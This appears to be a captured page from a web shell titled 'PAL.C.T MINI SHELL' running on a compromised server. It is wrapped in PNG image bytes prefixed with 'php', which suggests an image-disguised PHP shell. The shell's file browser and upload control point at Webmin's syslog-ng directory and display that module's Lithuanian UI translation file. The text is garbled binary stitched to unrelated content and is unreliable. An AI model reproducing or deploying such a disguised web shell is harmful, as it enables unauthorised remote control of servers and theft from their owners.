php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/syslog-ng/lang/
upload
files >> //usr/libexec/webmin/syslog-ng/lang/lt.auto

index_title=Sistemos žurnalai NG
index_eprog=Sistemos registravimo demonas $1 nerastas jūsų sistemoje arba nėra „syslog-ng“ programa. Norėdami naudoti teisingą kelią, sureguliuokite <a href='$2'>modulio konfigūraciją</a>.
index_econf=Jūsų sistemoje nerastas „Syslog-NG“ konfigūracijos failas $1. Norėdami naudoti teisingą kelią, sureguliuokite <a href='$2'>modulio konfigūraciją</a>.
index_apply=Taikyti konfigūraciją
index_applydesc=Spustelėkite šį mygtuką, kad suaktyvintumėte dabartinę „Syslog-NG“ konfigūraciją.
index_stop=Sustabdykite „Syslog-NG“
index_stopdesc=Spustelėkite šį mygtuką, norėdami sustabdyti veikiantį „Syslog-NG“ demoną. Sustabdžius kitų programų žurnalus, jie nebus rašomi į žurnalų failus.
index_start=Paleiskite „Syslog-NG“
index_startdesc=Spustelėkite šį mygtuką, kad paleistumėte „Syslog-NG“ demoną, naudodami dabartinę konfigūraciją.
index_return=modulio rodyklė
index_version=„Syslog-NG $1 “

options_title=Registravimo parinktys
options_header=Visų žurnalų failų parinktys
options_secs=sekundžių
options_entries=įrašai
options_time_reopen=Laikas laukti, kol vėl atsidarys negyvi ryšiai
options_time_reap=Laikas laukti, kol uždarys laisvųjų ryšių jungtys
options_sync=Prieš rašydami, pranešimus į buferį
options_stats=Laikas laukti tarp statistinių pranešimų
options_log_fifo_size=Buferiui skirtų pranešimų skaičius
options_chain_hostnames=Naudoti tinkintą pagrindinio kompiuterio pavadinimo formatą?
options_keep_hostname=Išsaugoti originalius pagrindinius vardus?
options_check_hostname=Patikrinti, ar pagrindiniuose kompiuteriuose nėra galiojančių simbolių?
options_bad_hostname=Reguliari išraiškos blogi pagrindiniai vardai
options_create_dirs=Jei reikia, sukurkite žurnalų failų katalogus?
options_owner=Numatytasis žurnalo failų savininkas
options_group=Numatytoji žurnalo failų grupė
options_perm=Numatytieji žurnalo failų leidimai
options_dir_owner=Numatytasis sukurtų katalogų savininkas
options_dir_group=Numatytoji sukurtų katalogų grupė
options_dir_perm=Numatytieji sukurtų katalogų leidimai
options_use_time_recvd=Buvo gauti žurnalo laiko pranešimai?
options_use_dns=Ar atvirkštinė DNS paieška?
options_dns_cache=Talpyklos DNS peržvalgos?
options_dns_cache_size=DNS talpyklos dydis
options_dns_cache_expire=Talpyklos DNS įrašai
options_dns_cache_expire_failed=Talpykloje nepavyko ieškoti DNS
options_log_msg_size=Maksimalus žurnalo pranešimo dydis
options_use_fqdn=Prisijunkite visus pagrindinius vardus?
options_sanitize_filenames=Pakeisti valdymo simbolius failų pavadinimuose?
options_err=Nepavyko išsaugoti registravimo parinkčių
options_ebad_hostname=Trūksta netinkamų netinkamų pagrindinių pavadinimų įprastos išraiškos
options_edns_cache_size=Trūksta arba neskaitinis DNS talpyklos dydis
options_edns_cache_expire=Trūksta arba neskaitinė DNS talpyklos laiko
options_edns_cache_expire_failed=Trūksta arba nėra skaitinių nesėkmingų DNS talpyklos laikų
options_eowner=Trūksta numatytojo žurnalo failų savininko
options_egroup=Trūksta numatytosios žurnalo failų grupės
options_eperm=Trūksta numatytųjų žurnalų failų leidimų
options_edir_owner=Trūksta katalogų numatytojo savininko
options_edir_group=Trūksta numatytųjų katalogų grupės
options_edir_perm=Trūksta numatytųjų katalogų leidimų
options_etime_reopen=Trūksta arba neskaičiuojamas laikas laukti mirusių jungčių
options_etime_reap=Trūksta laiko arba nėra skaitinių laiko laukti idealių jungčių
options_esync=Trūksta arba netinkamas žinučių buferiui prieš rašymą skaičius
options_estats=Trūksta arba neskaičiuojamas laikas laukti tarp statistinių pranešimų
options_elog_fifo_size=Trūksta arba netinkamas buferiui skirtų pranešimų skaičius
options_elog_msg_size=Trūksta didžiausio arba neskaitinio žurnalo pranešimo dydžio

destinations_title=Prisijungti paskirties vietos
destinations_name=Paskirties vietos pavadinimas
destinations_type=Parašyti
destinations_file=Žurnalo paskirties vieta
destinations_typef=Byla
destinations_typeu=Prisijungę vartotojai
destinations_typep=Programos įvestis
destinations_typei=„Unix“ vamzdis
destinations_typed=UDP syslog serveris
destinations_typet=TCP syslog serveris
destinations_typeg=Datagramos lizdas
destinations_types=Srauto lizdas
destinations_allusers=Visi vartotojai
destinations_users=Tik $1 vartotojai
destinations_host=$1 pagrindinis kompiuteris
destinations_view=Peržiūrėti ..
destinations_none=Dar nebuvo apibrėžti tikslo žurnalo failai.
destinations_delete=Ištrinti pasirinktus tikslus
destinations_add=Pridėti naują žurnalo vietą.
destinations_return=žurnalo paskirties vietos
destinations_desc=Kito modulio žurnalas
destinations_cmd=Išvestis iš $1 

destination_header=Žurnalo paskirties vietos parinktys
destination_title1=Sukurti žurnalo tikslą
destination_title2=Redaguoti žurnalo tikslą
destination_name=Žurnalo paskirties pavadinimas
destination_type=Prisijunkite prie ..
destination_file=Failo pavadinimas
destination_create_dirs=Sukurti katalogus?
destination_dir_perm=Leidimai katalogams
destination_fsync=Sinchronizuoti po kiekvieno rašymo?
destination_group=Žurnalo failo grupė
destination_owner=Žurnalo failo savininkas
destination_perm=Leidimai žurnale
destination_sync_freq=Pranešimai tarp sinchronizacijos
destination_users=Išvardyti vartotojai
destination_net=„Syslog“ serveris
destination_proto=Tinklo protokolas
destination_host=Serverio adresas
destination_port=Serverio prievadas
destination_localip=Vietinis IP adresas
destination_localport=Vietinis uostas
destination_unix=„Unix“ lizdas
destination_utype=Tipas
destination_socket=Lizdo pavadinimas
destination_err=Nepavyko išsaugoti kelionės tikslo
destination_eclash=Tikslas tuo pačiu pavadinimu jau yra
destination_egone=Paskirties vietos nebeegzistuoja!
destination_efile_name=Trūksta arba netinkamas failo vardas
destination_eowner=Trūksta arba netinkamas žurnalo failo savininkas
destination_egroup=Trūksta arba netinkama žurnalo failų grupė
destination_eperm=Trūksta arba ne aštuonios dalies žurnalo failo leidimai
destination_edir_perm=Trūksta arba ne aštuonių katalogų leidimų
destination_esync_freq=Trūksta arba netinkamas pranešimų skaičius tarp sinchronizacijos
destination_euser=Trūksta vartotojų, į kuriuos būtų galima siųsti
destination_eprogram=Trūksta programos, į kurią patektų
destination_epipe=Trūksta „Unix“ vamzdžio failo
destination_enet_port=Trūksta arba netinkamas prievado numeris
destination_enet_localip=Trūksta arba netinkamas vietinis IP adresas
destination_enet_localport=Trūksta arba netinkamas vietinio prievado numeris
destination_enet_host=Trūksta arba netinkamas „Syslog“ serverio pagrindinis kompiuteris ar adresas
destination_eunix=Trūksta „Unix“ lizdo pavadinimo

ddelete_err=Nepavyko ištrinti paskirties vietų
ddelete_enone=Nepasirinkta
ddelete_eused=Paskirties $1 negalima ištrinti, nes ją naudoja žurnalo taikinys

sdelete_err=Nepavyko ištrinti šaltinių
sdelete_enone=Nepasirinkta
sdelete_eused=Žurnalo šaltinio $1 negalima ištrinti, nes jį naudoja žurnalo taikinys

fdelete_err=Nepavyko ištrinti filtrų
fdelete_enone=Nepasirinkta
fdelete_eused=Žurnalo filtro $1 negalima ištrinti, nes jį naudoja žurnalo taikinys

ldelete_err=Nepavyko ištrinti žurnalo tikslų
ldelete_enone=Nepasirinkta

filters_title=Rąstų filtrai
filters_name=Filtro pavadinimas
filters_desc=Sąlygos
filters_none=Kol kas neapibrėžti žurnalų filtrai.
filters_delete=Ištrinti pasirinktus filtrus
filters_add=Pridėkite naują žurnalo filtrą.
filters_return=žurnalų filtrai
filters_priority=prioritetas <tt>$1</tt>
filters_priorities=prioritetai <tt>$1</tt> - <tt>$2</tt>
filters_priorities2=$1 prioritetai
filters_facility=objektas <tt>$1</tt>
filters_facilities=$1 įrenginiai
filters_program=programa <tt>$1</tt>
filters_match=atitinka „$1“
filters_host=iš pagrindinio kompiuterio vardo <tt>$1</tt>
filters_netmask=iš siuntėjo <tt>$1</tt>

filter_title1=Sukurti žurnalo filtrą
filter_title2=Redaguoti žurnalo filtrą
filter_header=Išsami žurnalo filtro specifikacijos informacija
filter_name=Filtro pavadinimas
filter_mode0=Paprastos sąlygos (visos turi sutapti)
filter_mode1=Sudėtinga išraiška
filter_priority=Esant prioritetui ..
filter_program=Iš programos ..
filter_match=Rungtynių išraiška ..
filter_facility=Iš objekto ..
filter_host=Iš pagrindinio kompiuterio vardo ..
filter_netmask=Iš IP tinklo ..
filter_err=Nepavyko išsaugoti žurnalo filtro
filter_ename=Trūksta arba netinkamas filtro pavadinimas
filter_eclash=Filtras tuo pačiu pavadinimu jau yra
filter_enone=Įvestas nėra ko filtruoti
filter_epris=Nepasirinkta jokių prioritetų
filter_efacs=Nepasirinkta jokių įrenginių
filter_eprog=Trūksta arba netinkamas programos pavadinimas
filter_ematch=Trūksta reguliarios išraiškos
filter_ehost=Trūksta arba netinkamas pagrindinio kompiuterio vardas
filter_enet=Trūksta arba netinkamas tinklo IP adresas
filter_emask=Trūksta arba netinkamas tinklo maskavimas
filter_ebool=Klaida sudėtinga išraiška
filter_egone=Filtro nebeegzistuoja!

logs_title=Žurnalų tikslai
logs_source=Šaltiniai
logs_filter=Filtrai
logs_destination=Paskirties vietos
logs_add=Pridėkite naują žurnalo tikslą.
logs_delete=Ištrinti pasirinktus žurnalo tikslus
logs_return=žurnalo taikiniai
logs_none=Nė vienas

log_title1=Sukurkite žurnalo tikslą
log_title2=Redaguoti žurnalo tikslą
log_header=Žurnalo šaltinio, filtro ir paskirties vietos pasirinkimai
log_source=Žurnalų šaltiniai
log_filter=Taikomi filtrai
log_destination=Paskirties failai
log_final=Neapdorokite daugiau taikinių
log_fallback=Atsilikimo žurnalo taikinys
log_catchall=Apdorokite visus šaltinius
log_flags=Tikslinės parinktys
log_egone=Žurnalo tikslas nebeegzistuoja!
log_err=Nepavyko išsaugoti žurnalo tikslo
log_esource=Nepasirinktas nė vienas šaltinis

sources_title=Prisijungti šaltiniai
sources_none=Dar nėra apibrėžti šaltiniai!
sources_add=Pridėkite naują žurnalo šaltinį.
sources_source=Šaltinio pavadinimas
sources_desc=Žurnalo duomenų šaltiniai
sources_delete=Ištrinti pasirinktus šaltinius
sources_typei=Vidiniai „Syslog-NG“ pranešimai
sources_types=Srauto lizdas
sources_typed=Datagramos lizdas
sources_typet=TCP serveris
sources_typeu=UDP serveris
sources_typef=Branduolio žurnalo failas
sources_typep=Pavadintas vamzdis
sources_typen=Saulės srautas
sources_typenw=„Syslog“ serveris
sources_return=žurnalų šaltiniai
sources_none2=Nė vienas

source_title1=Sukurti žurnalo šaltinį
source_title2=Redaguoti žurnalo šaltinį
source_header=Žurnalo šaltinio parinktys
source_any=Bet kokia
source_none=Nė vienas
source_egone=Šaltinio nebeegzistuoja!
source_name=Šaltinio pavadinimas
source_type=Žurnalų šaltinių tipai
source_owner=Lizdo failo savininkas
source_group=Lizdo failų grupė
source_perm=Leidimai lizdo faile
source_keep=Ar palaikote ryšius atvirus paleisdami iš naujo?
source_max=Maksimalus vienu metu vykstantis ryšys?
source_ip=Vietinis IP adresas
source_port=Vietinio uosto numeris
source_tkeep=Naudoti TCP palaikymo knygas?
source_prefix=Žurnalo pranešimų priešdėlis
source_pad=Pranešimo bloko dydis
source_err=Nepavyko išsaugoti žurnalo šaltinio
source_ename=Trūksta arba netinkamas šaltinio vardas
source_eclash=Žurnalo šaltinis tuo pačiu pavadinimu jau yra
source_eowner=Trūksta arba netinkamas lizdo failo savininkas
source_egroup=Trūksta arba netinkama lizdo failų grupė
source_eperm=Trūksta arba ne aštuonios dalies leidimai lizdo faile
source_emax=Trūksta arba netinkamas didžiausių jungčių skaičius
source_eip=Trūksta arba netinkamas vietinis IP adresas
source_eport=Trūksta arba netinkamas vietinio prievado numeris
source_eprefix=Trūksta žurnalo pranešimų prefiksų
source_epad=Trūksta arba neskaitinis pranešimų bloko dydis
source_eunix_name=Trūksta arba netinkamas „Unix“ lizdo failo vardas
source_efile_name=Trūksta arba netinkamas branduolio žurnalo failo vardas
source_epipe_name=Trūksta arba netinkamas pavadintas vamzdžio failo vardas
source_door=Durų failo vardas
source_esun_streams_name=Trūksta arba netinkamas „Sun“ srautų failo vardas
source_edoor=Trūksta arba netinkamas „Sun“ srautų durų failo vardas
source_transport=Tinklo protokolas

view_title=Peržiūrėti žurnalo failą
view_header=Paskutinės $1 eilutės iš $2 
view_empty=Žurnalo failas tuščias
view_refresh=Atnaujinkite
view_filter=Rodyti tik eilutes su tekstu $1 

apply_err=Nepavyko pritaikyti konfigūracijos
apply_egone=Nebėga!

start_err=Nepavyko paleisti „Syslog-NG“ serverio

stop_err=Nepavyko sustabdyti „Syslog-NG“ serverio

log_create_destination=Sukurtas žurnalo tikslas $1 
log_modify_destination=Modifikuota žurnalo paskirties vieta $1 
log_delete_destination=Ištrinta žurnalo paskirties vieta $1 
log_delete_destinations=Ištrintos $1 žurnalo vietos
log_create_filter=Sukurtas žurnalo filtras $1 
log_modify_filter=Modifikuotas žurnalo filtras $1 
log_delete_filter=Ištrintas žurnalo filtras $1 
log_delete_filters=Ištrinti $1 žurnalo filtrai
log_create_source=Sukurtas žurnalo šaltinis $1 
log_modify_source=Modifikuotas žurnalo šaltinis $1 
log_delete_source=Ištrintas žurnalo šaltinis $1 
log_delete_sources=Ištrinti $1 žurnalo šaltiniai
log_create_log=Sukurtas žurnalo taikinys
log_modify_log=Modifikuotas žurnalo taikinys
log_delete_log=Ištrintas žurnalo tikslas
log_delete_logs=Ištrinti $1 žurnalo tikslai
log_apply=Taikoma konfigūracija
log_start=Paleistas „Syslog-NG“ serveris
log_stop=Sustabdytas „Syslog-NG“ serveris
log_options=Pasikeitė globalios galimybės
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`